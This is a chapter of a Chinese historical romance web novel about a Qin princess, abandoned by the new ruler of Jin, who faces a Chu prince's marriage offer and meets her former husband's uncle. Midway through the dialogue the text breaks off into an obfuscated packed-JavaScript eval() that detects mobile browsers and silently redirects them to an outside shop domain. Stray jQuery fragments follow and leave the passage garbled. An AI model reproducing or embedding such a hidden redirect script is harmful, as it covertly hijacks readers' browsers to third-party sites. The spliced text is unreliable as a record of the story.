半月后,消息传来,姬明即位晋国国君,但未立夫人。

    秦公大怒,姬明在秦国为质五载,他好生善待,将最貌美的公主嫁与他,他却弃秦而去!可叹暂时无力伐晋,他终日思忖,该如何牵制住东边那一河之隔,日益强大的晋国。

    赢珂反倒平静,这岂不就是早已预料到的结果。猜那些朝臣也不可能同意立一位婢女为夫人。只是如今也奈何不了他们,她心中愤懑。偶尔,竟觉得或许是自己做得不够好,未绑住姬明,反让君父焦虑。

    夏末,楚国世子羋瑕率使团到秦国,商议和亲之事。楚国是南方霸主,是秦国不得不联盟的势力。于是秦公大摆宫宴,好让楚世子挑选心仪的公主。

    秦国诸公主皆与宴。赢珂本不想参加,因是被弃之人,怕因此平白遭人羞辱。但她在诸公主中容貌最盛,年方二十,尚且不大,亦无子嗣,秦公岂能不让她露面?赢珂似乎也想看看,自己是否真无半点魅力?当年正是因为她出众,秦公才将她许给姬明啊!

    宴前,她对镜梳妆,她已许久未看镜中的自己。仅三年而已,她依旧年轻貌美,黑白分明的眼,依旧还有神,身心的折磨并未摧残她,甚至为她平添了一道独有的冷艳。

    不过,她如今觉得,貌美实在算不得什么,那个叫姜昭的婢女,姿色平平,却如何牢牢牵住了姬明的心?她思来想去,琢磨不透。

    宴上酒过三巡,楚国使团也暗中将对面的公主都细细看过,于席间低声商议。

    “臣听闻,三公主曾许配与晋国国君,为何今日仍旧在列?”楚国使团有大臣向秦公发问。

    秦公尴尬语塞。

    赢珂闻言,心中的怨愤多于羞愧,虽并不想嫁去楚国,但也不想憋屈了自己。抬眼狠狠瞪向发问的楚臣。

    “臣女守贞持礼,从未失节,只是他人负了我,臣女又有何罪?为何不可参宴?大人如若不喜,不看我便是,又何必出言羞辱。”

    赢珂说得直白犀利,楚国大臣一时无言以对。宾客们却纷纷窃窃私语。赢珂习惯了这场面,自那事发生以来,她连自己的姐妹,也很少走动。此时,他们在议论什么,她也不在意。她静坐默然,恍若未闻。

    “珂儿,休要无礼,得罪了贵客。”秦公怕伤了与楚国的和气,劝说道。他知赢珂貌美聪慧,本是枚好棋。但近日发生的事,的确让她性子大变。此时他竟有些后悔让她赴宴。

    “无妨。”

    发话的是楚国世子。他早已听说赢珂的事,原以为她只是个哀怨的弃妇,却见她年轻貌美,且性格锋芒,这正对他胃口,不由心生欢喜,笑着看她,“三公主所言在理。”

    赢珂看向楚世子,却遇到他火辣的眼神,她心下一颤,又转回头。从未有人用这种眼神看她,她觉得有些不自在。

    “早听闻大秦三公主貌美,不知,还如此聪慧,三公主不知是否去过楚地?”楚世子笑意盈盈,话音爽朗。

    “未曾去过。”赢珂低头礼貌作答。

    “那,三公主是否愿意前往楚地一游?”

    三年寡淡的婚姻和前夫的遗弃,让她不再是从前那爱脸红发窘的少女。她一双杏眼直直地看着楚世子,“敢问世子,此言何谓?”

    秦公见状,心又提了上来,他已看出楚世子对赢珂有意,可她最近性子烈,怕坏了好事。

    “是去楚地一游?”见他不语,赢珂接着问道,“还是嫁去楚地?”

    她好生直爽!楚世子心下激荡,但却不知如何回复,笑容僵在脸上。

    宴上静默无声,似都在等楚世子回话。

    楚世子的确独对她颇有好感,可她毕竟曾嫁与他人,若要娶她,不知父王是何想法,他不敢自行决断。

    秦公怕伤了和气,慌忙端起酒杯敬酒,又把局面暖了回来。

    楚世子拿起酒杯一饮而尽,轻拭嘴角,目光扫过赢珂。在他眼里,她不同于其他温和顺从的女子,是带着野性难驯的冷艳佳人,他心起征服之欲,他向来享受驯服猎兽的快感。

    宴后,众人皆至园中散步。赢珂立在一丛花旁,与婢女说话。忽有一人影穿过,似有些熟悉,赢珂心头疑惑,转头望过去,想再辨认,却已寻不见人影。

    “三公主,方才多有冒犯,望公主见谅。”楚世子走近,郑重向她作揖。

    赢珂回过神来,见是楚世子,回礼答道:“世子并不曾冒犯臣女。”说罢又回身与婢女说事。

    他未曾被人如此冷落,心下傲气,抬高嗓音道:“三公主!”

    赢珂眼神略微一惊,回头看他。她不能惹怒他,得罪了楚王室,君父自会为难。

    “世子有事要与臣女说?”她对他抿嘴一笑。

    楚世子见冷美人温柔展颜,心下一荡,更觉此女非凡,“方才堂上说的事,公主可有意?”

    赢珂转眼迅速打量一眼近前的楚世子,他生得风流倜傥,眉眼俊俏,只是眼角笑起时,似有一丝油滑之气。

    “有何意?”她垂眼行礼,淡淡问道。

    楚世子的眼神里溢着热情,“三公主不愿前往楚国?”

    “你们楚国王族,难道可婚娶二嫁的女子?”赢珂微笑着看他,丝毫没有自嘲的尴尬。

    “确是未曾有过。”楚世子暗想,此女子聪慧,也有傲气。

    “那恐怕此事不在我,而在世子……我愿不愿意有何重要?”

    楚王子缓缓点头,“那公主是愿意?”

    赢珂沉默一瞬,道:“此事,由不得我。”

    “确是如此。”楚世子看着她动人却冰冷的眉眼,猜不透她的心思。

    宾客散去,秦公与楚世子在殿内议事。

    “秦公在上,此次,臣奉父王之命前来和亲。此外,遵父王所托,将晋公子澈送来秦国。”楚王子向秦公作揖道。

    “公子澈?”秦公愣了一瞬,面上已是掩不住的惊喜,“姬澈?”

    “是,晋国君之叔父公子澈。他在楚国已逗留数月,然楚晋相隔甚远,故父王将他送来秦国,秦晋一河之隔,此人……定有利于秦公。”

    “他人在何处?”

    “在殿外。”

    “速命他进殿。”

    少顷,只见一年轻挺拔的身影跨进殿内,大步走到殿中,“外臣姬澈拜见秦公。”

    “堂下之人是公子澈?姬明之叔?”秦公打量他一番,眼中有疑惑,他竟是位年轻公子。

    “正是。”

    “眉目身材倒确有几分相像,寡人不知公子竟与姬明年纪相仿。”

    “臣年长他几岁。”

    “寡人听闻,公子不在晋国已久?”

    “是,臣本在晋国封邑蒲城,因当年后宫设陷,君父疑心臣毒害于他,派兵攻打蒲城,臣便离开晋国四处游历,已有十五载。”

    “原来如此。”秦公轻捻髭须,眼神一亮,“既到了秦国,便是寡人的贵客,你且安心住下。”

    “臣漂泊之人,仰赖秦公赐一方安居,感激不尽。”姬澈躬身道。

    “秦晋之好,由来已久,公子不必客气。”

    “臣得知前些日子,晋君姬明……弃秦返晋,得继大统……”

    “小人之道,不足挂心。你父兄与那姬明的行事,寡人不敢苟同。公子与他们不同。公子尽可安心在雍城住下。”秦公摆了摆手。

    “谢秦公大德。”

    “今日招待不周,寡人将另行择日宴请公子。”

    遂差人将姬澈送往栖梧宫暂住。姬澈行礼退出堂内。

    秦公抚掌而笑,对楚世子道:“寡人多谢楚王厚意!世子今晚可有合眼的公主?”

    “诸公主皆貌美德善,臣未曾想好。”

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17869142|212262||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    好,不急,世子可慢慢想。等定了,告诉寡人!寡人定备丰厚妆奁,亲送公主于楚。”

    赢珂正往秦公的殿中走去,遇上从殿内出来的姬澈。天色已黑,借着园中宫灯昏暗的光,赢珂注意到这正是方才在园中有丝熟悉的影子,她不自觉地慢下脚步。

    男子在她身前停下,“臣见过公主。”他低头行礼。

    声色沉敛清润。赢珂心头一击,正色打量他挺拔利落的身形,“你是何人?为何认得我?”她心下狐疑。

    “在下晋国姬澈,初到贵国,方才在宴上见过三公主。”他抬头垂眼而立。

    晋国,姬姓。

    赢珂心中一痛,握紧拳头,低声问道:“你与姬明是何关系?”

    “如今的晋君,是在下之侄。”他低头恭敬回话。听不出他的情绪,看不到他的表情。

    叔侄。

    赢珂长睫微颤,难怪方才在园中遇见他,有一瞬的熟悉感,竟是叔侄,年纪似也相仿,体型似乎,要高大一些?

    她禁不住努力在暗光下细看他的眉眼轮廓,确与姬明有几分相似。

    他抬头看向她,对她微微一点头。她一惊,眼前这张脸,让她心生恨意,怨恨与屈辱直冲脑际。

    她看着他的眼睛,嘴角露出一丝冷笑,“那我……倒应唤你一声叔父。”这话是讽刺,也是在扎自己的心。说罢她便有些后悔,何必在外人面前如此自嘲。

    “不敢。公主乃秦之瑰宝,在下不敢妄称长辈。”姬澈从容应对,神色中掠过一丝不失尊严的笑意。

    他竟然笑!

    赢珂转过头去,心中不满,再一回味,他那一瞬的神情,是什么?与姬明那向来小心算计的恭敬截然不同。赢珂心绪稍平和了些,未再言语,转身拂袖而去。

    “臣女见过君父。”她在殿内向秦公行礼。

    秦公点点头,语气温和,“方才那楚世子称,暂未选定哪位公主。但除了你,他并未与其他公主说话。依我看,他应心仪与你。”

    秦公停下话,看着赢珂,“你意下如何?”

    “楚国是南方霸主,他堂堂世子,将来要继承大业,怎会娶一个被人舍弃的二嫁女子?”赢珂心下平静如水。

    “立为楚夫人或许不行,但他若是有意于你,你可嫁做妾室……”秦公深知这是折人颜面的事,未再往下说,细看赢珂的眼神。

    赢珂果然怒目圆睁,抬头盯了秦公片刻,“君父是要我去楚国做妾?”不可置信的话音中夹杂着恨意。弃妇又嫁做妾,这是更深的耻辱。

    “这是权宜之计,为父只是与你商讨……”秦公沉声叹道。

    赢珂见不得父亲无奈,他一生征战沙场,血雨腥风,如今国势衰微,撑着不易。

    “君父方才说,那楚世子还未选定哪位公主,或许……他也并不中意臣女。”赢珂语气软下来。

    “他似无意于其他公主,若你也不愿,恐失了这次联姻的机缘。”

    “五妹妹不是还未回宫吗?楚世子也未离开,或许他会对她有意。”

    “珞儿任性,寡人怕她处理不好这关系。”

    赢珂脑中跳出赢珞活泼的身形与笑脸,她心中有一阵疼,她与这五妹妹感情最甚,她又哪里舍得看着她远嫁,只是在这君王之家,难道还有其他选择?

    “君父是舍不得珞儿。”她的语气里并没有情绪,“这一步总是要走的。”赢珂深知秦公也喜爱这小女儿。

    秦公深吸一口气,叹道:“且等楚世子的回话再议。”

    赢珂跨出殿门,姬澈的脸突然萦绕在脑海。

    像,又不像。

    方才宴上见过……那他当时坐在何处?为何没有注意到?她宫宴上说的那番话,他应都听到了。

    他是姬明之叔,姬明弃她,他应都知晓。她心中涌上一股说不出的怪异。